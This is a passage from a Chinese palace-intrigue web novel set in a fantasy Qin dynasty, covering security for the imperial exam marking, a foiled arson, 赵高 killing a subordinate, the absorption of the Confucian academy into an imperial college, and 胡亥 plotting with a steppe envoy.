“诸位,提起精神来。”
他的目光再次投向那堆积如山的试卷,眼中闪烁着不容置疑的决绝。
帝国的选材之路,绝不容许在最后一步,被任何人玷污!!
……
六公子府。
连日的紧绷与操劳,即便以赢子夜的修为和心性,眉宇间也不由得染上了一丝难以掩饰的精神上的疲惫。
他褪下带有室外寒气的玄色外袍,刚在案后坐下,准备闭目凝神片刻。
一阵熟悉,带着灼热气息的香风便悄然袭来。
焰灵姬如同没有骨头般,袅袅娜娜地绕到他身后。
一双纤纤玉手带着恰到好处的力度,按上了他的太阳穴。
指尖温热,仿佛带着细微的电流,缓解着那深处的酸胀。
“公子~这几日可是累坏了吧?”
她的声音又软又媚,带着毫不掩饰的勾引和…讨要好处的意图。
“瞧这眉头皱的,妾身看着都心疼了呢~”
赢子夜并未睁眼,只是任由她揉按着,鼻间轻轻“嗯”了一声,算是回应。
焰灵姬见他似乎心情尚可,胆子便大了起来,红唇凑近他耳边,吐气如兰:
“那…妾身这般贴心伺候,公子是不是…也该赏赐点什么呀?”
“比如,上次那种亮晶晶、火辣辣的宝贝石头?”
赢子夜闻言,唇角几不可察地勾了一下。
他依旧闭着眼,却仿佛早有准备般,随手从袖中取出一个小巧的玉瓶,看也不看便向后抛去。
“拿去。”
焰灵姬眼睛一亮,如同灵猫般敏捷地接住玉瓶,拔开塞子一嗅,顿时眉开眼笑。
那里面是几颗灵气氤氲,对她火属**大有裨益的灵丹。
虽不及火雨玛瑙珍贵,却也绝非俗物!
“多谢公子~公子最好了!”
她喜滋滋地将丹药收好,手上的动作更加卖力了几分。
然而,赢子夜的下一句话,却让她的笑容瞬间僵在了脸上。
“好处收了,便替本公子去做件
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事。”
赢子夜的声音平淡无波,却带着不容拒绝的意味,“去考院附近,替本公子暗中盯着。”
“看看有没有什么不开眼的宵小之辈,还想在最后关头兴风作浪。”
焰灵姬按摩的手顿时停了下来,嘟起了红唇,脸上写满了不情愿。
“啊?又去盯梢?”
“公子,您不是有暗河那些神出鬼没的家伙么?”
“他们干这活儿不是更在行?”
“妾身还想好好炼化这几颗丹药呢……”
让她一个千娇百媚的大美人去干这种风吹日晒的盯梢苦差,简直是焚琴煮鹤!
赢子夜终于缓缓睁开眼,侧过头,似笑非笑地瞥了她一眼:“暗河自有暗河的职责。”
“有些事上,你确实比他们……更为擅长。”
“哦?妾身擅长什么?”焰灵姬眨了眨眼,倒是被勾起了一丝好奇。
赢子夜转回头,目光重新变得幽深,语气却带着一丝若有若无的调侃和警告。
“比如…放火,或者,阻止别人放火。”
他顿了顿,声音微微转冷:“考院之内,此刻堆积着万余份试卷,皆是纸张帛书,可谓遇火即燃。”
“若是在这个节骨眼上,有一把‘莫名其妙’的大火烧起来……”
“你说,本公子这主持科举之人,该当何罪?”
焰灵姬脸上的娇媚笑容渐渐消失,眼神变得认真起来。
赢子夜继续道,语气平淡却字字诛心:“本公子若是因此担了罪责,失了圣心…那你觉得,你这依附于本公子羽翼之下的‘家眷’,又能有什么好下场?”
焰灵姬:“……”
她彻底笑不出来了。
赢子夜这话,简直是把她牢牢绑在了他的战船上!
一损俱损,一荣俱荣!
她悻悻地收回手,狠狠瞪了赢子夜的后脑勺一眼,心里把这狡猾如狐的公子骂了千百遍,但嘴上却不敢再反驳。
“哼!去就去!”
她没好气地哼了一声,扭动腰肢,转身就往外走。
红裙划出一道妖娆却带着怨气的弧线。
“就知道使唤人!丹药还没捂热乎呢!”
抱怨归抱怨,她的脚步却丝毫不慢,身影很快便消失在门外。
事关自身安危,她可不敢怠慢。
更何况,论起玩火和防火,她确实比暗河那些**更专业。
赢子夜听着她远去的脚步声,重新闭上眼睛,嘴角那抹极淡的弧度缓缓扩大。
这把妖异而危险的火焰,用好了,便是最锋利的刀。
他耸了耸肩膀,正欲凝神处理几分奏报。
阴影再次无声扭动,一名暗河成员悄然现身。
第304章 押注!
“主上,有紧急消息。”
来人的声音压得极低,带着一丝不易察觉的惊异,“我们安插在桑海至咸阳官道上的眼线传回密报!”
“小圣贤庄荀夫子,于前来咸阳途中,遭遇不明**伏击!”
赢子夜执笔的手微微一顿,抬起了眼。
暗河成员继续禀报,语气中带着难以置信:“然而,据眼线远观所述,荀夫子…并未遇害。”
“他…他竟在弹指之间,便将所有来袭**,尽数反杀!!!”
“手段深不可测!”
禀报完毕,暗河成员垂首侍立。
然而,赢子夜脸上并未出现任何讶异之色。
只是那双深邃的眼眸中,掠过一丝了然的光芒,仿佛早已预料到一般。
“哦?”
他轻轻放下笔,身体微微后靠,指尖无意识地敲击着桌面,唇角甚至勾起一抹玩味的弧度。
“全部解决了么?倒是省了本公子一番手脚。”
暗河成员微微一怔,忍不住抬头看向赢子夜,似乎对主上如此平静的反应感到意外。
赢子夜瞥了他一眼,语气平淡:“何必惊讶?”
“早在小圣贤庄与他手谈之时,本公子便已察觉,此老体内气息渊深似海,绝非寻常腐儒。”
“他隐藏得极好,可惜…终究瞒不过本公子的眼睛。”
他当时便知荀夫子绝非常人,只是未曾点破。
如今听闻其出手,不过是印证了当初的判断罢了!
真正让他略感意外的,是另一件事。
“本公子没想到的是……”
赢子夜的目光变得幽深起来,“此次前来咸阳‘请罪’的,竟会是他亲自前来。”
“伏念和颜路…分量确实不够。”
荀夫子亲自出马,这其中的意味,可就深长了。
这绝非简单的请罪,更像是一种姿态,一种谈判,甚至是一种……
押注。
暗河成员迟疑了一下,请示道:“主上,既然如此…是否需要属下派一队好手,前去‘迎接’荀夫子,名为护送,实为监控,以免途中再生事端,或…让他改了主意?”
赢子夜闻言,却缓缓摇了摇头,语气笃定:“不必。”
他站起身,踱步到窗前,望着窗外沉沉的夜色,声音带着一种掌控一切的自信!
“他既然决定来了,便不会半途而废。”
“派人去,反而显得小家子气,落了下乘。”
“至于安全……”
赢子夜轻笑一声,“你觉得,能弹指间灭杀一队专业**的人,还需要我们那点可怜的‘护送’吗?”
暗河成员顿时语塞。
“他的目的,本公子大致能猜到。”
赢子夜转过身,目光重新变得锐利而冷静,“眼下,我们的重中之重,是科举,是确保阅卷放榜万无一失!”
“不能再分出任何精力节外生枝。”
“传令下去,所有暗河所属,继续全力盯紧阅卷场所及一应相关人员!”
“给本公子把眼睛擦亮,耳朵竖直!”
“荀夫子那边…只需远远盯着,将他抵达咸阳的具体时间报来即可,不必接触,更不必干涉。”
“诺!卑职明白!”
暗河成员重重领命,心中对主上的深谋远虑和冷静判断佩服不已。
“去吧。”
暗影退去,书房内重归寂静。
赢子夜独自立于窗前,眼中闪烁着算计的光芒。
荀夫子……
你终于还是坐不住了么?
也好,便让本公子看看。
你这儒家最后的定海神针亲临咸阳。
究竟…想唱一出怎样的戏。
……
中车府令官署。
最深处的密室。
这里永远弥漫着一种与阳光隔绝,阴冷潮湿的气息。
仿佛连时间在这里都变得粘稠而缓慢。
几盏长明灯投下昏黄摇曳的光晕。
将端坐于主位上的赵高映照得面色愈发苍白诡异。
如同蛰伏在暗处的毒蛛。
他并未像往常一样把玩什么物件,只是静静地坐着。
那双隐藏在阴影下的眼睛,却闪烁着一种极其不耐和冰冷的焦躁。
一名罗网**如同融入墙壁的阴影,单膝跪在下方,头颅垂得极低。
连呼吸都压抑到了最低限度,身体微不可察地颤抖着。
“还没有查到?”
赵高的声音响起,尖细而平直,听不出喜怒,却让那**的颤抖更加明显了几分。
“回…回大人……”
**的声音干涩沙哑,充满了恐惧,“阴阳家对此事戒备极其森严,所有核心人物口风极紧,蜃楼内部更是如同铁桶一般……”
“我们安插的几枚暗子,都…都接触不到最核心的信息。”
“目前…目前尚未探明具体时日和地点……”
他的话音还未完全落下。
端坐着的赵高,甚至没有任何明显的动作。
只是那跪在地上的罗网**,身体猛地一僵!
仿佛被一只冰冷至极的鬼手扼住了咽喉和心脏!
他双眼瞬间凸出,布满血丝,脸上充满了极致的痛苦和难以置信!
他想要求饶,却发不出任何声音,只能徒劳地张着嘴,如同离水的鱼。<
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br>下一刻!
“噗——”
一声极其轻微,却令人毛骨悚然的闷响从那**体内传出!
他周身的毛孔仿佛在同一时间被一股诡异的力量撑爆,细密的血珠瞬间沁出,染红了他黑色的夜行衣!
他眼中的神采迅速黯淡下去,身体软软地歪倒在地,微微抽搐了两下,便彻底没了声息。
死状凄惨而诡异。
赵高甚至连眼皮都没有抬一下,仿佛只是随手捻**一只吵人的苍蝇。
他用一方洁白的丝帕,慢条斯理地擦拭着自己那苍白修长,却刚刚夺走一条性命的手指。
密室內陷入了死一般的寂静。
只有血腥味开始悄然弥漫。
良久,赵高那尖细冰冷的声音才再次响起,如同毒蛇滑过冰面,带着一种令人骨髓发寒的残忍与决绝:
“废物。”
“苍龙七宿,关乎长生之秘,帝国命脉!”
“开启这等逆天之举,所需筹备之物,所需调动之力,岂是儿戏?”
“纵然东皇太一和赢子夜手段通天,想要完全瞒天过海,也绝无可能!”
他的声音逐渐提高,带着一种压抑不住的暴戾和绝对的自信:“天文异象,地脉变动,珍稀物资的异常调动,核心人员的隐秘动向……”
“必然会有蛛丝马迹!”
“查!”
他猛地将手中丝帕扔在那具迅速冰冷的尸体上,声音尖锐刺耳!
“给咱家不惜一切代价地去查!”
“动用罗网所有的渠道,所有的暗桩!”
“盯死蜃楼,盯死阴阳家每一个有资格接触此事的长老,盯死赢子夜麾下任何可能与此时相关的调动!”
“哪怕只是最微小的异常,也要给咱家报上来!”
阴影中,仿佛有更多的无形身影在颤抖、在领命。
“若是再查不到……”
赵高缓缓抬起头,那双终于暴露在昏黄灯光下的眼睛,充满了疯狂而贪婪的光芒,“你们就都去陪他吧。”
“诺!”
阴影中传来数个压抑着极致恐惧的声音。
“滚!”
那些无形的身影如同潮水般迅速退去。
连同那具尸体也被悄无声息地拖走,仿佛从未出现过。
密室中,又只剩下赵高一人。
他缓缓靠回座榻,指尖再次无意识地敲击着扶手,眼中闪烁着明灭不定的幽光。
“赢子夜…东皇太一,你们以为能瞒得过咱家么?”
他低声自语,声音如同夜枭的啼叫!
“这长生之秘,这帝国权柄…最终属于谁,还未可知呢……”
第305章 玩火,尿裤子哟!
阅卷场所并未设在考院之内。
而是另择了一处防守更加严密,与外界彻底隔绝的皇家别院。
此处可谓五步一岗,十步一哨。
明面上是精锐的卫尉军,暗处则布满了黑冰台与暗河的耳目,飞鸟难入。
巨大的厅堂内,灯火通明,却鸦雀无声。
数以百计从各部衙紧急抽调而来的文吏,正分成数组,进行着阅卷前最关键的两道工序——
糊名与誊录。
一组文吏负责将原始试卷上填写考生姓名、籍贯的位置。
用特制的厚纸糊住,并以朱笔编号,确保阅卷官无法得知答卷者身份。
另一组文吏则负责将糊名后的原始答卷,一字不差地抄录到另一份特制的答卷纸上。
此举是为了防止阅卷官通过笔迹辨认出考生,最大程度确保公平。
李斯、章邯、萧何三人,亲自带队,面色冷峻地在大厅内不断巡视。
他们的目光如同鹰隼,扫过每一个伏案工作的文吏,扫过每一份正在被处理的试卷。
空气凝重得仿佛能滴出水来,只有笔尖划过纸张的沙沙声和偶尔响起官吏因紧张而发出的轻微吞咽声。
突然。
章邯的脚步在一名负责誊录的文吏身后停了下来!
他那双久经沙场,对细节异常敏锐的眼睛,死死盯住了那名文吏刚刚抄录完的一份试卷。
只见在那份抄录卷的某一行诗句旁,有一个极其细微,却绝非无意滴落的墨点。
墨点的形状和位置,都十分刻意。
那文吏感受到身后如山般的压力,握笔的手猛地一抖,额头瞬间沁出冷汗。
章邯没有任何废话,直接伸出戴着铁手套的手指,点了点那个墨点,声音冰冷如铁:“这是什么?”
“是…是不小心……”文吏声音颤抖,试图辩解。
“拿下!”
章邯根本不容他解释,厉声喝道!
两名如狼似虎的卫尉军士兵立刻上前,将那面如死灰的文吏拖离座位,直接押走!
几乎在同一时间。
另一侧负责糊名的区域,李斯也发现了异常!
他拿起几份已经糊好名的试卷,仔细对比,发现其中几张糊名纸条的边缘,明显比其他纸条要长出或短上一小截!
这绝非统一裁剪的误差,而是人为的标记!
李斯的脸色瞬间阴沉如水。
他目光如电,扫过负责裁剪和糊名的几名文吏,那几人顿时吓得体如筛糠。
“这几份!还有经手之人!全部带走!”
李斯的声音不大,却带着丞相的威严和杀意!
又有数名文吏在哭嚎哀求中被无情拖走。
萧何那边亦有所获,他发现一名誊录吏在抄写策论时,故意在某些特定字的笔画上留下极其细微的顿挫印记,显然是某种约定的暗号!
雷霆手段,毫不容情!
短短一个时辰内。
竟有十余名文吏因各种“细微”的**痕迹被当场揪出,拖离大厅!
惨叫声、哀求声、呵斥声短暂地打破了现场的死寂。
让所有剩余的文吏都吓得魂飞魄散,握笔的手抖得更厉害!
他们打起了十二万分的精神,生怕自己成为下一个。
章邯踏上前一步,冰冷的目光扫过全场那些战战兢兢的文吏,声音如同雷霆,在整个大厅中回荡:
“都给本将看清楚了!”
“这就是心怀鬼胎、企图玷污科举的下场!”
李斯亦上前,语气森然:“陛下与公子殿下赋予尔等重任,乃是恩典!”
“若再有人敢行此龌龊之事,试图以任何方式传递信息,破坏公平,刚才那些人,便是前车之鉴!”
“本相保证,你们的结局,会比他们凄惨百倍!”
萧何则相对缓和一些,却同样语气郑重:“诸位,科举取士,乃国之大典,关乎万千学子前程,关乎帝国未来!”
“望诸位秉持公心,恪尽职守,莫要自误,更莫要辜负朝廷信任!”
一番恩威并施的严厉警告之后,大厅内再次陷入死一般的寂静。
剩下的文吏们个个面色惨白,冷汗直流。
再也不敢有丝毫杂念,全部埋首于案前,小心翼翼地处理着手中的试卷。
每一个动作都力求规范,不敢有半分差池。
……
夜色如墨。
将皇家别院笼罩在一片沉重的黑暗与寂静之中。
唯有阅卷大厅及其周边区域依旧灯火通明,如同黑暗海洋中的孤岛,散发着紧张而肃穆的气息。
外围,卫尉军的巡逻队脚步声整齐而沉重,火把的光芒划破黑暗,如同移动的警戒线。
暗处,更有无数双眼睛在默默注视着一切。
然而,总有人利令智昏,敢于铤而走险。
一道几乎与阴影融为一体的黑影,凭借着对巡逻间隙的精准把握和某种特殊的隐匿技巧,竟悄无声息地避开了所有明暗岗哨。
如同壁虎般贴着一处相对偏僻,却堆放着大量备用灯油和干燥杂物的库房外墙移动。
他的动作轻灵而熟练,显然受过特殊训练。
从怀中掏出一个特制的皮囊,里面装满了极易燃烧的猛火油,又取出火折子,眼中闪烁着疯狂而贪婪的光芒。
只要将这里点燃,火势瞬间就能蔓延开来,波及附近的阅卷大厅!
届时混乱一起,谁还顾得上那些试卷?
他的任务就完成了。
后半生的荣华富贵便唾手可得!
他拔开皮囊塞子,正准备将猛火油泼洒出去。
就在这时。
一个慵懒妖娆,却带着一丝冰冷戏谑的女声,仿佛贴着他的耳根响起:
“哟~大晚上的不睡觉,在这儿玩火呢?”
“也不怕……尿裤子吗?”
那黑影吓得魂飞魄散!
全身汗**倒竖!
他根本没察觉到任何人靠近!
他猛地转身,同时手中的火折子下意识地就朝声音来源处戳去,另一只手则挥洒猛火油!
然而,他所有的动作都在一瞬间凝固
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了。
他看到的,不是想象中凶神恶煞的守卫。
而是一个身着红裙,妖娆得如同暗夜精灵般的女子,正笑吟吟地站在他身后不远处。
一双美目在黑暗中闪烁着幽光。
更让他恐惧的是,他泼洒出的猛火油,并未落在地上。
而是仿佛被一层无形灼热的屏障挡住,悬浮在半空之中,甚至开始发出“滋滋”的声响,冒出诡异的青烟!
而他手中的火折子,那一点微弱火焰。
竟不受控制地暴涨,反过来舔舐着他的手掌!
“啊!”
他惨叫一声,烫得松开了手。
火折子掉落在地,却并未引燃任何东西,反而瞬间熄灭。
“啧,真不小心。”
焰灵姬撇了撇嘴,纤纤玉指轻轻一勾。
那悬浮在空中的猛火油仿佛被一只无形的手操控着,猛地倒卷而回,劈头盖脸地浇了那黑影一身!
刺鼻的气味瞬间弥漫开来。
黑影彻底吓傻了。
浑身沾满易燃的猛火油,动弹不得。
只能惊恐地看着那红衣女子一步步袅娜走近。
“你说,我是该把你点成一根人形蜡烛呢?”
焰灵姬绕着他走了一圈,指尖跳跃起一朵幽蓝色的美丽却致命的火焰,在他面前晃来晃去。
“还是该把你交给外面那些…看起来就很凶的兵大哥?”
火焰的温度灼烧着黑影的脸颊,死亡的恐惧瞬间攫住了他!
他能感觉到,只要那火焰再靠近一分,自己立刻就会变成一个熊熊燃烧的火炬!
“饶…饶命!女侠饶命!”
他双腿一软,瘫倒在地,涕泪横流,再也顾不得什么任务。
“是…是有人指使我!我什么都说!只求饶我一命!”
“哦?这么快就招了?真没意思。”
焰灵姬似乎有些失望,撇了撇嘴,指尖的火焰却并未熄灭。
“不过嘛……算你识相。”
她话音未落,几名如同鬼魅般的暗河成员已然从阴影中浮现,显然是早就接到了她的信号。
焰灵姬对着他们挥了挥手,懒洋洋地道:“喏,交给你们了,问清楚是谁指使的,至于他这一身油污……”
她瞥了一眼那瘫软如泥的黑影,轻笑一声:“带下去好好‘洗刷’干净,别脏了地方。”
“诺!”
暗河成员低声应道,上前如同拖死狗般将那名绝望的纵火犯架起,迅速消失在黑暗中。
焰灵姬拍了拍手,仿佛做了一件微不足道的小事。
她抬头望了望那灯火通明的阅卷大厅,又看了看远处咸阳城的方向,红唇勾起一抹复杂的弧度。
“哼,就知道使唤老娘……”
“不过,这把火要是真烧起来,也确实麻烦。”
她嘀咕了一句,身影一晃,再次融入夜色,继续着她的“防火”大业。
别院再次恢复了表面的宁静,仿佛刚才那惊心动魄的一幕从未发生过。
唯有空气中残留的一丝微弱火油味。
第306章 荀夫子,你心乱了!
是时。
六公子府书房,灯火通明。
李斯刚将阅卷场所发生的舞弊未遂及纵火未遂之事详细禀报完毕,脸上带着几分挫败与请罪之色。
“臣等无能,那些被抓获之人,无论如何审讯,皆一口咬定乃其个人所为,随后便…便纷纷寻机自尽于狱中。”
“未能挖出幕后主使,请殿下治罪!”
赢子夜听完,脸上并无太多意外之色,只是指尖无意识地敲击着桌面,目光深邃:“**?”
“是……皆已断气。”
“罢了。”
赢子夜摆了摆手,语气平淡:“起来吧,此事怪不得你们。”
“他们自己认罪赴死,死的只是自己一人。”
“若他们敢供出背后之人,死的…恐怕就远不止他们自己了。”
李斯闻言,心中一凛,顿时明白了其中关窍,背后不禁生出寒意。
殿下对此等阴私手段,竟看得如此透彻!
“继续盯紧吧。”
赢子夜吩咐道:“放榜之前,一刻也不能松懈,下去吧。”
“臣遵命!”
李斯躬身退下。
就在李斯离开后不久,一名府中下人悄步而入,恭敬禀报。
“殿下,府外有一位自称荀况的老者求见。”
赢子夜眼中精光一闪,嘴角勾起一抹不易察觉的弧度:“终于来了,请他进来。”
片刻后,荀夫子在仆役的引导下,缓步走入书房。
他依旧是一身粗布麻衣,手持竹杖,身形佝偻,面容清癯。
唯有那双看似浑浊的眼眸深处,闪烁着睿智与历经世事的沧桑。
他走到书房中央,对着端坐于案后的赢子夜,便要躬身行礼。
“草民荀况,拜见……”
“夫子不必多礼。”
赢子夜抬手虚扶,打断了他的礼节,脸上露出一丝看似温和的笑容。
“上次小圣贤庄一别,恍惚间已有一年之久。”
“夫子今日来得正好,务必陪本公子手谈一局,如何?”
荀夫子动作一顿,抬眼看了看赢子夜,见他似乎真的只是邀棋,便微微颔首:“殿下有命,老朽敢不从命。”
棋盘很快摆上。
二人对坐,落子无声。
起初,棋局尚算平稳,荀夫子落子沉稳,颇有章法。
然而,随着棋局深入,赢子夜的攻势愈发凌厉,棋风大开大合,却又暗藏无数杀机,仿佛一张无形的大网,缓缓收紧。
荀夫子的应对渐渐显得力不从心。
几次落子都出现了明显的迟疑和缓手,被赢子夜抓住机会,连续屠戮大龙,局势迅速呈现一边倒的溃败。
不过半个时辰,荀夫子便投子认负。
赢子夜拈起一枚棋子,看着棋盘上的残局,语气平淡无波:“许久未见,夫子的棋艺…倒是生疏了不少。”
他抬起眼,目光锐利如刀,直刺荀夫子内心。
“是你的心,乱了吗。”
荀夫子闻言,沉默片刻,缓缓放下手中的棋子,站起身,对着赢子夜深深一揖,声音沉痛而诚恳。
“殿下明察秋毫。”
“老朽此来,正是为我那逆徒张良之事,前来向殿下请罪!”
“老朽教导无方,识人不明,致使他犯下如此滔天大罪,险些毁帝国科举之盛举,玷污儒家数百年清誉!”
“老朽…愧对陛下,愧对殿下,亦愧对天下儒生!”
“请殿下……降罪!”
他将姿态放得极低,言语中充满了自责与请罪的诚意。
赢子夜静静地看着他,并未立刻让他起身,片刻后才缓缓道:“张良之罪,在其自身利令智昏,心怀叵测。”
“此事,本公子心中有数,并非整个儒家皆与其同流合污。”
“夫子不必过于自责。”
荀夫子心中稍稍一松,正要开口感谢。
却听赢子夜话锋陡然一转:“然——”
荀夫子的心瞬间又提了起来!
“小圣贤庄远在桑海,山高路远,纵尔等真心忠于帝国,然出了张良此事,难免落人口实,引人猜疑。”
“长此以往,于儒家清誉,于帝国安定,皆非益事。”
赢子夜的声音变得意味深长:“恰逢帝国
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于咸阳设立‘万世书院’,旨在汇聚百家之学,培育帝国栋梁。”
“本公子觉得,荀夫子与其让桑海小圣贤庄独处一隅,引人非议,倒不如……”
“考虑率众迁入咸阳,并入这万世书院之中?”
他目光灼灼地看着荀夫子!
“凡小圣贤庄弟子,达到书院标准者,皆可入院修**。”
“伏念、颜路两位庄主,亦可在书院之中担任教**、博士一职,一展所长。”
“如此,既可彰显儒家与帝国同心同德,亦可彻底洗刷张良此事带来的污名,更可使儒家学问,于帝国中心发扬光大。”
“夫子以为…如何?”
荀夫子身体微微一震,猛地抬起头,看向赢子夜!
他瞬间明白了!
这才是赢子夜真正的目的!
什么请罪,什么谅解,都是表象!
这位六公子,是要从根本上,将儒家这面独立的旗帜,彻底收编,融入帝国掌控的体系之内!
迁入咸阳,并入书院,看似给了出路和荣耀,实则是温水煮青蛙,从此儒家将再无独立可言!
拒绝?
他敢吗?
张良之事就是悬在头顶的利剑!
拒绝的后果,很可能就是整个儒家被冠以“包藏祸心”的罪名,遭到彻底清算!
荀夫子心中翻涌着无尽的苦涩与悲凉,但脸上却不敢有丝毫表露。
他深深吸了一口气,仿佛瞬间又苍老了几分。
缓缓垂下头颅,声音干涩却清晰。
“殿下思虑周详,老朽…并无异议。”
“能为帝国效力,乃儒家之幸。”
赢子夜满意地点了点头,语气缓和了些许:“夫子深明大义,本公子甚慰。”
他顿了顿,仿佛随意般又道:“听闻夫子年事已高,恐无力操劳书院诸多俗务。”
“这样吧,书院之内,将设‘万象书楼’,旨在收罗天下百家典籍,乃书院之根基。”
“此楼至关重要,非大贤大德者不可执掌。”
“若夫子不弃,便请夫子出任这书楼掌印,如何?!”
第307章 百舸争流千帆竞!
书楼掌印!
看似清贵,实则是将其高高供起,剥夺了其干预书院实际教学和管理的权力!
但却给了足够的体面和尊重。
荀夫子心中明镜一般,却只能再次躬身:“老朽…领命。”
“定当竭尽所能,为殿下,为帝国,守好这书楼万卷。”
这一刻,他知道,传承数百年的小圣贤庄,其独立之名,已然终结。
从今往后,只有帝国万世书院中的“儒家”了!
赢子夜脸上露出了真正的笑容:“如此甚好。”
“详情细则,日后本公子会让萧何与夫子详谈。”
“夫子一路劳顿,先下去好生歇息吧。”
“谢殿下。”
荀夫子再次躬身,缓缓退出了书房。
他的背影,在灯光下显得格外佝偻和苍凉。
赢子夜独自坐在案后,指尖轻轻敲击着棋盘,眼中闪烁着掌控一切的光芒。
儒家,这颗最大的棋子,终于……
落定了。
……
十八公子府。
啪——!!
胡亥反手就是一记耳光!!
力道之大让对方直接撞翻了旁边的青铜灯架。
灯油泼洒一地,映出对方惊恐扭曲的脸。
“买通学子?放榜**?”
胡亥的声音尖利得像是刮过骨头的刀子。
“张良**!那些蠢货官员也**!”
“脑袋挂在菜市口还没烂透!”
“你告诉我,靠着几个**帮忙**、放火,就能扳倒我那位好六哥?”
“就能毁了他精心搭建的戏台子?!”
他猛地揪住对方的衣领,几乎将人提离地面,眼中翻滚着暴戾和一种被逼到绝境的疯狂。
“他现在是屠夫!是握着刀把子的监国公子!”
“他正愁没借口把你们这些蠢货一个个揪出来剁碎了喂狗!”
“你自己想死,别拖着本公子!”
“公子…公子息怒…下官…下官愚钝…”
那官员吓得语无伦次,裤裆处一片湿热蔓延开来。
“滚!”
胡亥厌恶地将他狠狠掼在地上,像是扔掉一件肮脏的垃圾。
“趁我没改变主意把你舌头割下来喂鸟之前,立刻从我眼前消失!”
那人连滚带爬,几乎是手脚并用地逃离了这间弥漫着奢华与杀气的暖阁。
胡亥剧烈地喘息着,胸膛起伏,方才的暴怒渐渐被一种更深的冰凉算计所取代。
他走到窗边,阴鸷的目光穿透夜色,死死盯住六公子府的方向。
那里的灯火,在他眼中刺目得令人憎恶。
一次次的失败,一次次的折损。
张良是废物,那些官员更是废物中的废物!
软的硬的,阴的暗的,竟然全都撼动不了赢子夜分毫!
反而让他借着这些事,一步步立威,一步步将权力抓得更牢!
不能再这样下去了。
不能再小打小闹。
胡亥缓缓转过身,脸上所有的暴怒情绪瞬间收敛得干干净净,只剩下一种近乎麻木的冰冷。
他对角落里如同影子般侍立的心腹勾了勾手指。
心腹立刻无声上前,躬身听命。
“去。”
胡亥的声音平静得可怕,却带着一丝嗜血的兴奋。
“拿着我的令牌,去驿馆,请那位狼族的挛鞮头领过来一叙。”
心腹身体几不可察地微微一僵!!
与草原狼族私下往来,此事若泄露……
但他不敢有丝毫犹豫,立刻应道:“诺!”
“告诉他。”
胡亥的嘴角慢慢扯出一个残忍的弧度,眼中闪烁着野兽般的光芒。
“本公子这里,有一笔……能让他们草原的鹰,飞得更远,爪子更利的大买卖。”
“请他务必前来,共商‘要事’。”
……
数日后。
巨大的皇榜之下。
人潮汹涌,几乎要将那张贴榜文的墙壁挤塌。
空气里弥漫着汗味、墨香和一种近乎沸腾的焦灼。
无数双眼睛贪婪地扫过那一个个墨迹未干的名字,每一次确认都伴随着一声狂喜的尖叫或一声失落的叹息。
“中了!我中了!阿爷!我中了!”
一个穿着洗得发白儒衫的年轻士子猛地跳起来,眼泪夺眶而出,疯了一般抓住身旁的老者摇晃。
那老者亦是热泪纵横,不住地喃喃:“祖宗保佑!祖宗保佑啊!”
另一边,一个中年士子面色灰败,踉跄着后退几步,撞在身后人身上也浑然不觉,只是死死盯着榜文,嘴唇哆嗦着。
“怎么可能…
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怎么可能没有…我明明……”
他猛地捂住脸,压抑的呜咽声从指缝里漏出来,肩膀剧烈地颤抖。
人群中,一个身材微胖,穿着明显富贵的青年得意地摇着折扇。
对身旁簇拥着的几个同样衣着光鲜的同伴笑道:“瞧见没?二甲第十七名!”
“早说了,不过是走个过场罢了!”
周围立刻响起一片谄媚的恭维:
“王兄大才!”
“日后同朝为官,还望王兄多多提携!”
但更多的,是那些榜上有名者强压下的激动和迅速盘算的心思。
“李兄,你也中了!同喜同喜!”
两名相熟的士子互相抓着胳膊,脸上是抑制不住的狂喜。
但眼神交换间,已有了新的考量。
“同喜!不过……这只是第一步。”
稍年长些的士子压低声音,兴奋中带着凝重。
“授官文书不日即下,你我可算有了官身,能在这咸阳城立足了!”
“但切莫高兴太早!”
“兄台说的是!”
另一人立刻收敛笑容,眼神变得锐利。
“听闻万世书院不日也将招考,若能考入其中,便是真正的帝学门生,前途不可限量!”
“书院自然要考!但那毕竟是后话。”
年长士子目光扫过皇榜,又望向那巍峨的宫城方向,声音压得更低,带着一丝敬畏和渴望。
“眼下最重要的,是殿试!”
“陛下……和六公子殿下,将亲临考问!”
“那才是决定我等将来是龙是虫的关键!”
“若能得陛下青睐,甚至…入得六公子法眼,方才不负这十年寒窗!”
这番话立刻引起了周围几个新科进士的共鸣。
众人纷纷点头,脸上的喜色被一种更沉重的,关乎未来命运的紧迫感所取代。
狂喜过后,巨大的压力如同乌云般迅速笼罩下来。
他们挤在人群中,看着那张决定他们初步命运的皇榜,眼神却已飘向了更高更远的深宫。
那里,将进行最终极的考试,决定他们是否能真正一飞冲天,还是仅仅止步于此。
空气里的热度未减,却悄然变了味道。
从单纯的欣喜若狂,变成了交织着野心,期待与不安的剧烈躁动。
第308章 胡亥:儿臣**,为父皇分忧!
麒麟殿内。
庄严肃穆。
李斯手持玉笏,正详细奏禀着科举放榜及后续殿试安排,声音平稳却难掩一丝开创盛举的激动。
“经由糊名、誊录、三审复核,今科取士共一百三十七人,皆身家清白,才学俱佳。”
“名录已张榜公示,咸阳士民欢欣鼓舞,皆颂陛下圣明,开创亘古未有之选才大道!”
“依制,三日后于麒麟殿举行殿试,恭请陛下亲临,策问贤良,定其甲第,授以官职。”
御阶之上,珠帘之后。
嬴政微微颔首,深邃的目光中流露出一丝难得的满意。
虽未言语,但那无形中弥漫开的帝威,却让群臣感受到君王对此事的认可!
“彩!”
“陛下圣明!”
群臣适时躬身附和,殿内气氛一片祥和。
列席末位的草原各部使臣更是抓住机会,纷纷起身。
以不甚熟练的雅言大肆歌颂,言辞恳切,极尽溢美之能事。
“大皇帝陛下威加海内,恩泽草原!”
“此科举盛事,令我等边鄙之人亦大开眼界,深感天朝上国气象!”
“狼神见证,大秦乃真正天命所归!”
“我等小部,愿永世臣服,沐浴皇恩!”
就在这一片**声中,狼族部落的使臣——
一位身材魁梧,披发左衽,面容带着风霜刻痕的壮汉,猛地跨步出列。
动作幅度之大,与周遭的雍容礼仪格格不入。
他右手抚胸,深深躬身,声音洪亮却带着刻意营造出的悲怆与焦急。
“尊贵的大皇帝陛下!”
“请容小使冒昧,打断这欢庆之时!”
“实在是我部族已到了生死存亡之刻!!!”
他抬起头,脸上肌肉抽搐,眼中布满血丝。
“昨日快马传来我部落急报!”
“那该死的白狼部族,背信弃义,竟趁我部秋猎之际,集结重兵,突袭我王庭,烧我帐篷,杀我族人,抢我牛羊妇孺!”
“狼神在上,此乃灭族之祸啊!”
他噗通一声单膝跪地,声音带着哭腔,几乎是吼了出来。
“我部单于遣小使泣血恳求!”
“恳请大秦上朝念在往日情分,发天兵相助!”
“救救我狼族数万性命!”
